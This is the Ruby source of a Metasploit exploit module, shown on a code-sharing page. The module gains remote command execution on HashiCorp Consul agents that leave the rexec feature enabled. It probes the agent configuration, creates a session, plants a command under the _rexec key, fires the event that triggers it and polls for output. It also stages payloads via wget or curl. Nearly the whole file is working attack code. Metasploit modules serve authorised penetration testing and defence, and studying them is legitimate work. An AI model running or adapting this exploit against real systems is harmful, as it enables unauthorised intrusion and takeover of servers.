Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/consul_rexec_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info={})12super(update_info(info,13'Name' => "Hashicorp Consul Remote Command Execution via Rexec",14'Description' => %q{15This module exploits a feature of Hashicorp Consul named rexec.16},17'License' => MSF_LICENSE,18'Author' =>19[20'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC21'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC22'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module23],24'References' =>25[26[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],27[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],28[ 'URL', 'https://github.com/torque59/Garfield' ]29],30'Platform' => 'linux',31'Targets' => [ [ 'Linux', {} ] ],32'Payload' => {},33'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],34'Privileged' => false,35'DefaultTarget' => 0,36'DisclosureDate' => '2018-08-11'))37register_options(38[39OptString.new('TARGETURI', [true, 'The base path', '/']),40OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),41OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),42OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),43Opt::RPORT(8500)44])45end4647def check48uri = target_uri.path49res = send_request_cgi({50'method' => 'GET',51'uri' => normalize_uri(uri, "/v1/agent/self"),52'headers' => {53'X-Consul-Token' => datastore['ACL_TOKEN']54}55})56unless res57vprint_error 'Connection failed'58return CheckCode::Unknown59end60begin61agent_info = JSON.parse(res.body)62if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false63return CheckCode::Vulnerable64else65return CheckCode::Safe66end67rescue JSON::ParserError68vprint_error 'Failed to parse JSON output.'69return CheckCode::Unknown70end71end7273def execute_command(cmd, opts = {})74uri = target_uri.path7576print_status('Creating session.')77res = send_request_cgi({78'method' => 'PUT',79'uri' => normalize_uri(uri, 'v1/session/create'),80'headers' => {81'X-Consul-Token' => datastore['ACL_TOKEN']82},83'ctype' => 'application/json',84'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json85})8687if res and res.code == 20088begin89sess = JSON.parse(res.body)90print_status("Got rexec session ID #{sess['ID']}")91rescue JSON::ParseError92fail_with(Failure::Unknown, 'Failed to parse JSON output.')93end94end9596print_status("Setting command for rexec session #{sess['ID']}")97res = send_request_cgi({98'method' => 'PUT',99'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),100'headers' => {101'X-Consul-Token' => datastore['ACL_TOKEN']102},103'ctype' => 'application/json',104'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json105})106if res and not res.code == 200 or res.body == 'false'107fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')108end109110print_status("Triggering execution on rexec session #{sess['ID']}")111res = send_request_cgi({112'method' => 'PUT',113'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),114'headers' => {115'X-Consul-Token' => datastore['ACL_TOKEN']116},117'ctype' => 'application/json',118'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json119})120if res and not res.code == 200121fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')122end123124begin125Timeout.timeout(datastore['TIMEOUT']) do126res = send_request_cgi({127'method' => 'GET',128'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),129'headers' => {130'X-Consul-Token' => datastore['ACL_TOKEN']131}132})133begin134data = JSON.parse(res.body)135break if data.include? 'out'136rescue JSON::ParseError137fail_with(Failure::Unknown, 'Failed to parse JSON output.')138end139sleep 2140end141rescue Timeout::Error142# we catch this error so cleanup still happen afterwards143print_status("Timeout hit, error with payload ?")144end145146print_status("Cleaning up rexec session #{sess['ID']}")147res = send_request_cgi({148'method' => 'PUT',149'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),150'headers' => {151'X-Consul-Token' => datastore['ACL_TOKEN']152}153})154155if res and not res.code == 200 or res.body == 'false'156fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')157end158159res = send_request_cgi({160'method' => 'DELETE',161'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),162'headers' => {163'X-Consul-Token' => datastore['ACL_TOKEN']164}165})166167if res and not res.code == 200 or res.body == 'false'168fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')169end170end171172def exploit173execute_cmdstager()174end175end176177178